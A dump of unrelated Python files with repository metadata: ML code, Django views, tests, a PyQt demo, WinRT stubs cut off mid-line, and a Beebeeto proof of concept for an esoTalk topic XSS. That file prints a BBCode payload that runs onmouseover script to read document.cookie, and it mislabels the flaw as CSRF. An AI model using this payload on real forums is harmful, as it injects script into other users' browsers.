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# -*- coding: utf-8 -*- import numpy as np class LogisticRegression(object): def __init__(self, learning_rate=0.1, max_iter=100, seed=None): self.seed = seed self.lr = learning_rate self.max_iter = max_iter def fit(self, x, y): np.random.seed(self.seed) self.w = np.random.normal(loc=0.0, scale=1.0, size=x.shape[1]) self.b = np.random.normal(loc=0.0, scale=1.0) self.x = x self.y = y for i in range(self.max_iter): self._update_step() # print('loss: \t{}'.format(self.loss())) # print('score: \t{}'.format(self.score())) # print('w: \t{}'.format(self.w)) # print('b: \t{}'.format(self.b)) def _sigmoid(self, z): return 1.0 / (1.0 + np.exp(-z)) def _f(self, x, w, b): z = x.dot(w) + b return self._sigmoid(z) def predict_proba(self, x=None): if x is None: x = self.x y_pred = self._f(x, self.w, self.b) return y_pred def predict(self, x=None): if x is None: x = self.x y_pred_proba = self._f(x, self.w, self.b) y_pred = np.array([0 if y_pred_proba[i] < 0.5 else 1 for i in range(len(y_pred_proba))]) return y_pred def score(self, y_true=None, y_pred=None): if y_true is None or y_pred is None: y_true = self.y y_pred = self.predict() acc = np.mean([1 if y_true[i] == y_pred[i] else 0 for i in range(len(y_true))]) return acc def loss(self, y_true=None, y_pred_proba=None): if y_true is None or y_pred_proba is None: y_true = self.y y_pred_proba = self.predict_proba() return np.mean(-1.0 * (y_true * np.log(y_pred_proba) + (1.0 - y_true) * np.log(1.0 - y_pred_proba))) def _calc_gradient(self): y_pred = self.predict() d_w = (y_pred - self.y).dot(self.x) / len(self.y) d_b = np.mean(y_pred - self.y) return d_w, d_b def _update_step(self): d_w, d_b = self._calc_gradient() self.w = self.w - self.lr * d_w self.b = self.b - self.lr * d_b return self.w, self.b

[ "969910828@qq.com" ]

969910828@qq.com

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/to_do_backend/to_do/views.py

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[]

no_license

KliskaB/to-do-back

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refs/heads/master

2022-12-31T00:12:56.401506

2020-10-12T15:16:02

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2020-10-12T15:16:04

2020-10-02T12:04:59

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UTF-8

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from django.shortcuts import render from rest_framework import viewsets from rest_framework import permissions from rest_framework.mixins import ListModelMixin, CreateModelMixin, RetrieveModelMixin, UpdateModelMixin, DestroyModelMixin from to_do_backend.to_do.serializers import UserSerializer, UserDetailSerializer from django.contrib.auth.models import User from rest_framework import permissions from rest_framework.views import APIView from rest_framework.generics import CreateAPIView from to_do_backend.to_do.models import ToDo from to_do_backend.to_do.serializers import ToDoSerializer from rest_framework.decorators import action from rest_framework.response import Response from rest_framework.renderers import JSONRenderer # Create your views here. class CreateUserViewSet(viewsets.GenericViewSet, CreateModelMixin): queryset = User.objects.all() serializer_class = UserSerializer permission_classes = [permissions.AllowAny] class UserDetailViewSet(APIView): queryset = User.objects.all() serializer_class = UserDetailSerializer permission_classes = [permissions.IsAuthenticated] def get(self, request): user = request.user serializer = UserDetailSerializer(user) return Response(serializer.data) # class CreateUserViewSet(viewsets.ModelViewSet, CreateModelMixin): # queryset = User.objects.all() # serializer_class = UserSerializer # http_method_names = ['post'] # permission_classes = [permissions.AllowAny] class ToDoViewSet(viewsets.ModelViewSet, RetrieveModelMixin): queryset = ToDo.objects.all() serializer_class = ToDoSerializer permission_classes = [permissions.IsAuthenticated] def get_queryset(self): user = self.request.user return super().get_queryset().filter(user=user)

[ "bojana.kliska@gmail.com" ]

bojana.kliska@gmail.com

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/ATIVIDADE G - FÁBIO 2b - CONDICIONAIS/fabio2b_q02.py

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[]

no_license

lucascoelho33/ifpi-ads-algoritmos2020

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refs/heads/master

2021-03-01T23:03:10.293013

2020-10-17T14:35:19

245,650,273

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null

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py

#2. Leia uma letra, verifique se letra é "F" ou "M" e escreva F - Feminino, M - Masculino, Sexo Inválido. def main(): letra = input() if letra == 'F' or letra == 'f': print('Feminino') elif letra == 'M' or letra == 'm': print('Masculino') else: print('Sexo Inválido') main()

[ "llucascoelho33@gmail.com" ]

llucascoelho33@gmail.com

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/test/functional/wallet-dump.py

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[ "MIT" ]

permissive

BayerTM/DraftCoinZ

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2023-06-01T00:54:12.511923

2021-06-09T21:35:24

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MIT

2021-04-27T22:23:49

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#!/usr/bin/env python3 # Copyright (c) 2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test the dumpwallet RPC.""" import os import sys from test_framework.test_framework import BitcoinTestFramework from test_framework.util import (assert_equal, assert_raises_rpc_error) def read_dump(file_name, addrs, hd_master_addr_old): """ Read the given dump, count the addrs that match, count change and reserve. Also check that the old hd_master is inactive """ with open(file_name, encoding='utf8') as inputfile: found_addr = 0 found_addr_chg = 0 found_addr_rsv = 0 hd_master_addr_ret = None for line in inputfile: # only read non comment lines if line[0] != "#" and len(line) > 10: # split out some data key_label, comment = line.split("#") # key = key_label.split(" ")[0] keytype = key_label.split(" ")[2] if len(comment) > 1: addr_keypath = comment.split(" addr=")[1] addr = addr_keypath.split(" ")[0] keypath = None if keytype == "inactivehdmaster=1": # ensure the old master is still available assert(hd_master_addr_old == addr) elif keytype == "hdmaster=1": # ensure we have generated a new hd master key assert(hd_master_addr_old != addr) hd_master_addr_ret = addr else: keypath = addr_keypath.rstrip().split("hdkeypath=")[1] # count key types for addrObj in addrs: if addrObj['address'] == addr and addrObj['hdkeypath'] == keypath and keytype == "label=": found_addr += 1 break elif keytype == "change=1": found_addr_chg += 1 break elif keytype == "reserve=1": found_addr_rsv += 1 break return found_addr, found_addr_chg, found_addr_rsv, hd_master_addr_ret class WalletDumpTest(BitcoinTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 1 self.extra_args = [["-keypool=90", "-usehd=1"]] def setup_network(self): # TODO remove this when usehd=1 becomes the default # use our own cache and -usehd=1 as extra arg as the default cache is run with -usehd=0 self.options.tmpdir = os.path.join(self.options.tmpdir, 'hd') self.options.cachedir = os.path.join(self.options.cachedir, 'hd') self._initialize_chain(extra_args=self.extra_args[0], stderr=sys.stdout) self.set_cache_mocktime() # Use 1 minute timeout because the initial getnewaddress RPC can take # longer than the default 30 seconds due to an expensive # CWallet::TopUpKeyPool call, and the encryptwallet RPC made later in # the test often takes even longer. self.add_nodes(self.num_nodes, self.extra_args, timewait=60, stderr=sys.stdout) self.start_nodes() def run_test (self): tmpdir = self.options.tmpdir # generate 20 addresses to compare against the dump test_addr_count = 20 addrs = [] for i in range(0,test_addr_count): addr = self.nodes[0].getnewaddress() vaddr= self.nodes[0].validateaddress(addr) #required to get hd keypath addrs.append(vaddr) # Should be a no-op: self.nodes[0].keypoolrefill() # dump unencrypted wallet self.nodes[0].dumpwallet(tmpdir + "/node0/wallet.unencrypted.dump") found_addr, found_addr_chg, found_addr_rsv, hd_master_addr_unenc = \ read_dump(tmpdir + "/node0/wallet.unencrypted.dump", addrs, None) assert_equal(found_addr, test_addr_count) # all keys must be in the dump assert_equal(found_addr_chg, 50) # 50 blocks where mined assert_equal(found_addr_rsv, 180) # keypool size (external+internal) #encrypt wallet, restart, unlock and dump self.nodes[0].node_encrypt_wallet('test') self.start_node(0) self.nodes[0].walletpassphrase('test', 30) # Should be a no-op: self.nodes[0].keypoolrefill() self.nodes[0].dumpwallet(tmpdir + "/node0/wallet.encrypted.dump") found_addr, found_addr_chg, found_addr_rsv, hd_master_addr_enc = \ read_dump(tmpdir + "/node0/wallet.encrypted.dump", addrs, hd_master_addr_unenc) assert_equal(found_addr, test_addr_count) # TODO clarify if we want the behavior that is tested below in DFTz (only when HD seed was generated and not user-provided) # assert_equal(found_addr_chg, 180 + 50) # old reserve keys are marked as change now assert_equal(found_addr_rsv, 180) # keypool size # Overwriting should fail assert_raises_rpc_error(-8, "already exists", self.nodes[0].dumpwallet, tmpdir + "/node0/wallet.unencrypted.dump") if __name__ == '__main__': WalletDumpTest().main ()

[ "james@xmc.com" ]

james@xmc.com

4e40229cac88d3bdc1699557b9dbed9b9c045112

345a78f09f15a6679a9071756c8eaf593c5574d8

/GUI/2.py

8c97774f6e66b7afe489ed5a33535a133fe8b940

[]

no_license

BingteamP/Bing_project

790e7fff0a7290516f3441ceaa917665c4cdde75

727f6b13b62d02123ccc47b431acec262be6617c

refs/heads/master

2021-01-17T22:23:55.947252

2014-04-24T11:37:22

null

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UTF-8

Python

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py

import sys, random from PyQt4 import QtCore, QtGui class TabContainer(QtGui.QWidget): def __init__(self): super(TabContainer, self).__init__() self.next_item_is_table = False self.initUI() def initUI(self): self.setGeometry( 150, 150, 650, 350) self.tabwidget = QtGui.QTabWidget(self) vbox = QtGui.QVBoxLayout() vbox.addWidget(self.tabwidget) self.setLayout(vbox) self.pages = [] self.add_page() self.show() def create_page(self, *contents): page = QtGui.QWidget() vbox = QtGui.QVBoxLayout() for c in contents: vbox.addWidget(c) page.setLayout(vbox) return page def create_table(self): rows, columns = random.randint(2,5), random.randint(1,5) table = QtGui.QTableWidget( rows, columns ) for r in xrange(rows): for c in xrange(columns): table.setItem( r, c, QtGui.QTableWidgetItem( str( random.randint(0,10) ) ) ) return table def create_list(self): list = QtGui.QListWidget() columns = random.randint(2,5) for c in xrange(columns): QtGui.QListWidgetItem( str( random.randint(0,10) ), list ) return list def create_new_page_button(self): btn = QtGui.QPushButton('Create a new page!') btn.clicked.connect(self.add_page) return btn def add_page(self): if self.next_item_is_table: self.pages.append( self.create_page( self.create_table(), self.create_new_page_button() ) ) self.next_item_is_table = False else: self.pages.append( self.create_page( self.create_list(), self.create_new_page_button() ) ) self.next_item_is_table = True self.tabwidget.addTab( self.pages[-1] , 'Page %s' % len(self.pages) ) self.tabwidget.setCurrentIndex( len(self.pages)-1 ) app = QtGui.QApplication(sys.argv) ex = TabContainer() sys.exit(app.exec_())

[ "titantbx1989215@gmail.com" ]

titantbx1989215@gmail.com

a813ff6fd719a3e29e71a87be6ef707c0e85d852

785f5a4bfd97ac77559110fb831f18a3822b4e17

/01-python_crash_course/01-ejercicios_teoria/chapter_08_functions/printing_functions.py

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[]

no_license

lionelherrerobattista/practica_python

c552ae06336eb805172decd0d527b26a17c09cb9

44f09bae58748c2c7c2449adc5117591abd2828d

refs/heads/master

2020-03-28T02:28:09.910563

2020-03-14T21:31:31

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py

def print_models(unprinted_designs, completed_models): """ Simulate printing each design, until none are left. Move each design to completed_models after printing. """ while unprinted_designs: current_design = unprinted_designs.pop() # Simulate creating a 3D print from the design. print("Printing model: " + current_design) completed_models.append(current_design) def show_completed_models(completed_models): """Show all models that were printed.""" print("\nThe following models have been printed:") for completed_model in completed_models: print(completed_model)

[ "-" ]

-

19efb2bfb2c6e26d4dd0e9ce150675128eb97e0e

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/homework05/tests/tests_api/test_wall.py

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[]

no_license

a-makhneva/cs102

f40a8ce61567502b5d9e23e685d6ad2e423a3da1

fc5068903e0ad8f7da4421839d5ffa1d4cdbb34a

refs/heads/master

2023-06-10T12:52:26.150511

2021-06-20T16:45:39

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# type: ignore import time import unittest from unittest.mock import patch from urllib.parse import unquote import pandas as pd import responses from vkapi.wall import get_wall_execute class GetWallTestCase(unittest.TestCase): @responses.activate def test_total_count(self): expected_items = [ { "id": 1, "from_id": 1234, "owner_id": 1234, "date": 1234567890, "text": "some message", } ] responses.add( responses.POST, "https://api.vk.com/method/execute", json={ "response": { "count": 1, "items": expected_items, } }, status=200, ) wall = get_wall_execute(domain="cs102py", count=1) self.assertIsInstance( wall, pd.DataFrame, msg="Функция должна возвращать DataFrame, используйте json_normalize", ) self.assertEqual( expected_items, wall.to_dict("records"), msg="Вы должны сделать один запрос, чтобы узнать общее число записей", ) resp_body = unquote(responses.calls[0].request.body) self.assertTrue( '"count":"1"' in resp_body or '"count":+"1"' in resp_body, msg="Вы должны сделать один запрос, чтобы узнать общее число записей", ) @responses.activate def test_too_many_requests(self): responses.add( responses.POST, "https://api.vk.com/method/execute", json={ "response": { "count": 6000, "items": [], } }, status=200, ) start = time.time() with patch("vkapi.wall.get_posts_2500") as get_posts_2500: get_posts_2500.return_value = [] _ = get_wall_execute(domain="cs102py", count=6000) end = time.time() self.assertGreaterEqual(end - start, 2.0, msg="Слишком много запросов в секунду")

[ "a.d.makhneva@gmail.com" ]

a.d.makhneva@gmail.com

32ad20a99bffd0ca006bdc4359c4d4069b6d9279

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/django/django_fullstack/login_register/user/migrations/0003_user_birthday.py

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[]

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Ayman-Yahia/CodingDojo-Python

b8eaa72985b0f094100e571485e2af1dae2478b5

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refs/heads/main

2023-05-07T15:48:23.210832

2021-06-01T13:26:31

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UTF-8

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py

# Generated by Django 2.2.4 on 2021-05-26 10:56 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('user', '0002_auto_20210526_1120'), ] operations = [ migrations.AddField( model_name='user', name='birthday', field=models.DateField(null=True), ), ]

[ "ayman.ya1997@gmail.com" ]

ayman.ya1997@gmail.com

4cc34fd865acc73b1c03106b77244e6b8d5fd27c

e86fd9f61a41731deb9d56e1107db04de41b6789

/beebeeto/poc_2014_0137.py

d3a03244caae5ff9208f7ba88909bc6aa7ab6963

[]

no_license

c0py7hat/POC-EXP

f58e0f1df41e1905e5fdc72b019f8125aac48799

7ddf2790012efb7fb5bd258ddcd1e1c25f0cf201

refs/heads/master

2020-04-30T07:05:31.390537

2019-03-20T08:38:50

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2019-03-20T08:09:56

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#!/usr/bin/env python # coding=utf-8 """ Site: http://www.beebeeto.com/ Framework: https://github.com/n0tr00t/Beebeeto-framework """ from baseframe import BaseFrame class MyPoc(BaseFrame): poc_info = { # poc相关信息 'poc': { 'id': 'poc-2014-0137', 'name': 'Esotalk topic xss vulnerability POC', 'author': 'evi1m0', 'create_date': '2014-11-05', }, # 协议相关信息 'protocol': { 'name': 'http', 'port': [80], 'layer4_protocol': ['tcp'], }, # 漏洞相关信息 'vul': { 'app_name': 'esotalk', 'vul_version': ['1.0'], 'type': 'Cross Site Request Forgery', 'tag': ['esotalk漏洞', 'xss', 'topic xss vul', 'php'], 'desc': 'esotalk topic xss vul.', 'references': ['http://www.hackersoul.com/post/ff0000-hsdb-0006.html', ], }, } @classmethod def verify(cls, args): verify_url = args['options']['target'] temp = ''' [url=[img]onmouseover=alert(document.cookie);//://example.com/image.jpg#"aaaaaa[/img]]evi1m0[/url] ''' print '[*] Copy code: ' + temp print '[*] Specific use: ' + str(MyPoc.poc_info['vul']['references']) args['success'] = True args['poc_ret']['vul_url'] = 'Generation ok' return args exploit = verify if __name__ == '__main__': from pprint import pprint mp = MyPoc() pprint(mp.run())

[ "noreply@github.com" ]

c0py7hat.noreply@github.com

e4b7622846f0bfea863fc33b8dbb4fb97831033b

12f441018818dc2dcb1a8a89bccd946d87e0ac9e

/pywinrt/bleak_winrt/windows/foundation/__init__.pyi

8882078b9847e0b5eb06fb2117544d7c230fcd34

[ "MIT" ]

permissive

dlech/bleak-winrt

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refs/heads/main

2022-09-12T00:15:01.497572

2022-09-09T22:57:53

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# WARNING: Please don't edit this file. It was generated by Python/WinRT v1.0.0-beta.7 import enum import datetime import sys import types import typing import bleak_winrt._winrt as _winrt import bleak_winrt.windows.foundation.collections class AsyncStatus(enum.IntEnum): CANCELED = 2 COMPLETED = 1 ERROR = 3 STARTED = 0 class PropertyType(enum.IntEnum): EMPTY = 0 UINT8 = 1 INT16 = 2 UINT16 = 3 INT32 = 4 UINT32 = 5 INT64 = 6 UINT64 = 7 SINGLE = 8 DOUBLE = 9 CHAR16 = 10 BOOLEAN = 11 STRING = 12 INSPECTABLE = 13 DATE_TIME = 14 TIME_SPAN = 15 GUID = 16 POINT = 17 SIZE = 18 RECT = 19 OTHER_TYPE = 20 UINT8_ARRAY = 1025 INT16_ARRAY = 1026 UINT16_ARRAY = 1027 INT32_ARRAY = 1028 UINT32_ARRAY = 1029 INT64_ARRAY = 1030 UINT64_ARRAY = 1031 SINGLE_ARRAY = 1032 DOUBLE_ARRAY = 1033 CHAR16_ARRAY = 1034 BOOLEAN_ARRAY = 1035 STRING_ARRAY = 1036 INSPECTABLE_ARRAY = 1037 DATE_TIME_ARRAY = 1038 TIME_SPAN_ARRAY = 1039 GUID_ARRAY = 1040 POINT_ARRAY = 1041 SIZE_ARRAY = 1042 RECT_ARRAY = 1043 OTHER_TYPE_ARRAY = 1044 Self = typing.TypeVar('Self') T = typing.TypeVar('T') TProgress = typing.TypeVar('TProgress') TResult = typing.TypeVar('TResult') TSender = typing.TypeVar('TSender') class EventRegistrationToken: value: _winrt.Int64 def __new__(cls: typing.Type[EventRegistrationToken], value: _winrt.Int64) -> EventRegistrationToken: ... class HResult: value: _winrt.Int32 def __new__(cls: typing.Type[HResult], value: _winrt.Int32) -> HResult: ... class Point: x: _winrt.Single y: _winrt.Single def __new__(cls: typing.Type[Point], x: _winrt.Single, y: _winrt.Single) -> Point: ... class Rect: x: _winrt.Single y: _winrt.Single width: _winrt.Single height: _winrt.Single def __new__(cls: typing.Type[Rect], x: _winrt.Single, y: _winrt.Single, width: _winrt.Single, height: _winrt.Single) -> Rect: ... class Size: width: _winrt.Single height: _winrt.Single def __new__(cls: typing.Type[Size], width: _winrt.Single, height: _winrt.Single) -> Size: ... class Deferral(_winrt.Object): def __enter__(self: Self) -> Self: ... def __exit__(self, *args) -> None: ... @staticmethod def _from(obj: _winrt.Object) -> Deferral: ... def __new__(cls: typing.Type[Deferral], handler: typing.Optional[DeferralCompletedHandler]) -> Deferral:... def close(self) -> None: ... def complete(self) -> None: ... class GuidHelper(_winrt.Object): empty: _winrt.Guid @staticmethod def _from(obj: _winrt.Object) -> GuidHelper: ... @staticmethod def create_new_guid() -> _winrt.Guid: ... @staticmethod def equals(target: _winrt.Guid, value: _winrt.Guid) -> _winrt.Boolean: ... class MemoryBuffer(_winrt.Object): def __enter__(self: Self) -> Self: ... def __exit__(self, *args) -> None: ... @staticmethod def _from(obj: _winrt.Object) -> MemoryBuffer: ... def __new__(cls: typing.Type[MemoryBuffer], capacity: _winrt.UInt32) -> MemoryBuffer:... def close(self) -> None: ... def create_reference(self) -> typing.Optional[IMemoryBufferReference]: ... class PropertyValue(_winrt.Object): @staticmethod def _from(obj: _winrt.Object) -> PropertyValue: ... @staticmethod def create_boolean(value: _winrt.Boolean) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_boolean_array(value: typing.Sequence[_winrt.Boolean]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_char16(value: _winrt.Char16) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_char16_array(value: typing.Sequence[_winrt.Char16]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_date_time(value: datetime.datetime) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_date_time_array(value: typing.Sequence[datetime.datetime]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_double(value: _winrt.Double) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_double_array(value: typing.Sequence[_winrt.Double]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_empty() -> typing.Optional[_winrt.Object]: ... @staticmethod def create_guid(value: _winrt.Guid) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_guid_array(value: typing.Sequence[_winrt.Guid]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_inspectable(value: typing.Optional[_winrt.Object]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_inspectable_array(value: typing.Sequence[_winrt.Object]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_int16(value: _winrt.Int16) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_int16_array(value: typing.Sequence[_winrt.Int16]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_int32(value: _winrt.Int32) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_int32_array(value: typing.Sequence[_winrt.Int32]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_int64(value: _winrt.Int64) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_int64_array(value: typing.Sequence[_winrt.Int64]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_point(value: Point) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_point_array(value: typing.Sequence[Point]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_rect(value: Rect) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_rect_array(value: typing.Sequence[Rect]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_single(value: _winrt.Single) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_single_array(value: typing.Sequence[_winrt.Single]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_size(value: Size) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_size_array(value: typing.Sequence[Size]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_string(value: str) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_string_array(value: typing.Sequence[str]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_time_span(value: datetime.timedelta) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_time_span_array(value: typing.Sequence[datetime.timedelta]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_uint16(value: _winrt.UInt16) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_uint16_array(value: typing.Sequence[_winrt.UInt16]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_uint32(value: _winrt.UInt32) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_uint32_array(value: typing.Sequence[_winrt.UInt32]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_uint64(value: _winrt.UInt64) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_uint64_array(value: typing.Sequence[_winrt.UInt64]) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_uint8(value: _winrt.UInt8) -> typing.Optional[_winrt.Object]: ... @staticmethod def create_uint8_array(value: typing.Sequence[_winrt.UInt8]) -> typing.Optional[_winrt.Object]: ... class Uri(_winrt.Object): absolute_uri: str display_uri: str domain: str extension: str fragment: str host: str password: str path: str port: _winrt.Int32 query: str query_parsed: typing.Optional[WwwFormUrlDecoder] raw_uri: str scheme_name: str suspicious: _winrt.Boolean user_name: str absolute_canonical_uri: str display_iri: str def __str__(self) -> str: ... @staticmethod def _from(obj: _winrt.Object) -> Uri: ... @typing.overload def __new__(cls: typing.Type[Uri], uri: str) -> Uri:... @typing.overload def __new__(cls: typing.Type[Uri], base_uri: str, relative_uri: str) -> Uri:... def combine_uri(self, relative_uri: str) -> typing.Optional[Uri]: ... def equals(self, p_uri: typing.Optional[Uri]) -> _winrt.Boolean: ... @staticmethod def escape_component(to_escape: str) -> str: ... def to_string(self) -> str: ... @staticmethod def unescape_component(to_unescape: str) -> str: ... class WwwFormUrlDecoder(_winrt.Object, typing.Sequence[IWwwFormUrlDecoderEntry]): size: _winrt.UInt32 def __len__(self) -> int: ... @typing.overload def __getitem__(self, index: int) -> IWwwFormUrlDecoderEntry: ... @typing.overload def __getitem__(self, index: slice) -> typing.Sequence[IWwwFormUrlDecoderEntry]: ... @staticmethod def _from(obj: _winrt.Object) -> WwwFormUrlDecoder: ... def __new__(cls: typing.Type[WwwFormUrlDecoder], query: str) -> WwwFormUrlDecoder:... def first(self) -> typing.Optional[bleak_winrt.windows.foundation.collections.IIterator[IWwwFormUrlDecoderEntry]]: ... def get_at(self, index: _winrt.UInt32) -> typing.Optional[IWwwFormUrlDecoderEntry]: ... def get_first_value_by_name(self, name: str) -> str: ... def get_many(self, start_index: _winrt.UInt32, items_size: _winrt.UInt32) -> typing.Tuple[_winrt.UInt32, typing.List[IWwwFormUrlDecoderEntry]]: ... def index_of(self, value: typing.Optional[IWwwFormUrlDecoderEntry]) -> typing.Tuple[_winrt.Boolean, _winrt.UInt32]: ... class WwwFormUrlDecoderEntry(_winrt.Object): name: str value: str @staticmethod def _from(obj: _winrt.Object) -> WwwFormUrlDecoderEntry: ... class IAsyncAction(_winrt.Object): completed: typing.Optional[AsyncActionCompletedHandler] error_code: HResult id: _winrt.UInt32 status: AsyncStatus def __await__(self) -> typing.Generator[typing.Any, None, None]: ... @staticmethod def _from(obj: _winrt.Object) -> IAsyncAction: ... def cancel(self) -> None: ... def close(self) -> None: ... def get_results(self) -> None: ... class IAsyncActionWithProgress(_winrt.Object, typing.Generic[TProgress]): progress: typing.Optional[AsyncActionProgressHandler[TProgress]] completed: typing.Optional[AsyncActionWithProgressCompletedHandler[TProgress]] error_code: HResult id: _winrt.UInt32 status: AsyncStatus if sys.version_info >= (3, 9): def __class_getitem__(cls, key: typing.Any) -> types.GenericAlias: ... def __await__(self) -> typing.Generator[typing.Any, None, None]: ... def cancel(self) -> None: ... def close(self) -> None: ... def get_results(self) -> None: ... class IAsyncInfo(_winrt.Object): error_code: HResult id: _winrt.UInt32 status: AsyncStatus @staticmethod def _from(obj: _winrt.Object) -> IAsyncInfo: ... def cancel(self) -> None: ... def close(self) -> None: ... class IAsyncOperationWithProgress(_winrt.Object, typing.Generic[TResult, TProgress]): progress: typing.Optional[AsyncOperationProgressHandler[TResult, TProgress]] completed: typing.Optional[AsyncOperationWithProgressCompletedHandler[TResult, TProgress]] error_code: HResult id: _winrt.UInt32 status: AsyncStatus if sys.version_info >= (3, 9): def __class_getitem__(cls, key: typing.Any) -> types.GenericAlias: ... def __await__(self) -> typing.Generator[typing.Any, None, TResult]: ... def cancel(self) -> None: ... def close(self) -> None: ... def get_results(self) -> typing.Optional[TResult]: ... class IAsyncOperation(_winrt.Object, typing.Generic[TResult]): completed: typing.Optional[AsyncOperationCompletedHandler[TResult]] error_code: HResult id: _winrt.UInt32 status: AsyncStatus if sys.version_info >= (3, 9): def __class_getitem__(cls, key: typing.Any) -> types.GenericAlias: ... def __await__(self) -> typing.Generator[typing.Any, None, TResult]: ... def cancel(self) -> None: ... def close(self) -> None: ... def get_results(self) -> typing.Optional[TResult]: ... class IClosable(_winrt.Object): def __enter__(self: Self) -> Self: ... def __exit__(self, *args) -> None: ... @staticmethod def _from(obj: _winrt.Object) -> IClosable: ... def close(self) -> None: ... class IGetActivationFactory(_winrt.Object): @staticmethod def _from(obj: _winrt.Object) -> IGetActivationFactory: ... def get_activation_factory(self, activatable_class_id: str) -> typing.Optional[_winrt.Object]: ... class IMemoryBuffer(_winrt.Object): def __enter__(self: Self) -> Self: ... def __exit__(self, *args) -> None: ... @staticmethod def _from(obj: _winrt.Object) -> IMemoryBuffer: ... def close(self) -> None: ... def create_reference(self) -> typing.Optional[IMemoryBufferReference]: ... class IMemoryBufferReference(_winrt.Object): capacity: _winrt.UInt32 def __enter__(self: Self) -> Self: ... def __exit__(self, *args) -> None: ... def __bytes__(self) -> bytes: ... @staticmethod def _from(obj: _winrt.Object) -> IMemoryBufferReference: ... def close(self) -> None: ... def add_closed(self, handler: TypedEventHandler[IMemoryBufferReference, _winrt.Object]) -> EventRegistrationToken: ... def remove_closed(self, cookie: EventRegistrationToken) -> None: ... class IPropertyValue(_winrt.Object): is_numeric_scalar: _winrt.Boolean type: PropertyType @staticmethod def _from(obj: _winrt.Object) -> IPropertyValue: ... def get_boolean(self) -> _winrt.Boolean: ... def get_boolean_array(self) -> typing.List[_winrt.Boolean]: ... def get_char16(self) -> _winrt.Char16: ... def get_char16_array(self) -> typing.List[_winrt.Char16]: ... def get_date_time(self) -> datetime.datetime: ... def get_date_time_array(self) -> typing.List[datetime.datetime]: ... def get_double(self) -> _winrt.Double: ... def get_double_array(self) -> typing.List[_winrt.Double]: ... def get_guid(self) -> _winrt.Guid: ... def get_guid_array(self) -> typing.List[_winrt.Guid]: ... def get_inspectable_array(self) -> typing.List[_winrt.Object]: ... def get_int16(self) -> _winrt.Int16: ... def get_int16_array(self) -> typing.List[_winrt.Int16]: ... def get_int32(self) -> _winrt.Int32: ... def get_int32_array(self) -> typing.List[_winrt.Int32]: ... def get_int64(self) -> _winrt.Int64: ... def get_int64_array(self) -> typing.List[_winrt.Int64]: ... def get_point(self) -> Point: ... def get_point_array(self) -> typing.List[Point]: ... def get_rect(self) -> Rect: ... def get_rect_array(self) -> typing.List[Rect]: ... def get_single(self) -> _winrt.Single: ... def get_single_array(self) -> typing.List[_winrt.Single]: ... def get_size(self) -> Size: ... def get_size_array(self) -> typing.List[Size]: ... def get_string(self) -> str: ... def get_string_array(self) -> typing.List[str]: ... def get_time_span(self) -> datetime.timedelta: ... def get_time_span_array(self) -> typing.List[datetime.timedelta]: ... def get_uint16(self) -> _winrt.UInt16: ... def get_uint16_array(self) -> typing.List[_winrt.UInt16]: ... def get_uint32(self) -> _winrt.UInt32: ... def get_uint32_array(self) -> typing.List[_winrt.UInt32]: ... def get_uint64(self) -> _winrt.UInt64: ... def get_uint64_array(self) -> typing.List[_winrt.UInt64]: ... def get_uint8(self) -> _winrt.UInt8: ... def get_uint8_array(self) -> typing.List[_winrt.UInt8]: ... class IReferenceArray(_winrt.Object, typing.Generic[T]): value: typing.Optional[T] is_numeric_scalar: _winrt.Boolean type: PropertyType if sys.version_info >= (3, 9): def __class_getitem__(cls, key: typing.Any) -> types.GenericAlias: ... def get_boolean(self) -> _winrt.Boolean: ... def get_boolean_array(self) -> typing.List[_winrt.Boolean]: ... def get_char16(self) -> _winrt.Char16: ... def get_char16_array(self) -> typing.List[_winrt.Char16]: ... def get_date_time(self) -> datetime.datetime: ... def get_date_time_array(self) -> typing.List[datetime.datetime]: ... def get_double(self) -> _winrt.Double: ... def get_double_array(self) -> typing.List[_winrt.Double]: ... def get_guid(self) -> _winrt.Guid: ... def get_guid_array(self) -> typing.List[_winrt.Guid]: ... def get_inspectable_array(self) -> typing.List[_winrt.Object]: ... def get_int16(self) -> _winrt.Int16: ... def get_int16_array(self) -> typing.List[_winrt.Int16]: ... def get_int32(self) -> _winrt.Int32: ... def get_int32_array(self) -> typing.List[_winrt.Int32]: ... def get_int64(self) -> _winrt.Int64: ... def get_int64_array(self) -> typing.List[_winrt.Int64]: ... def get_point(self) -> Point: ... def get_point_array(self) -> typing.List[Point]: ... def get_rect(self) -> Rect: ... def get_rect_array(self) -> typing.List[Rect]: ... def get_single(self) -> 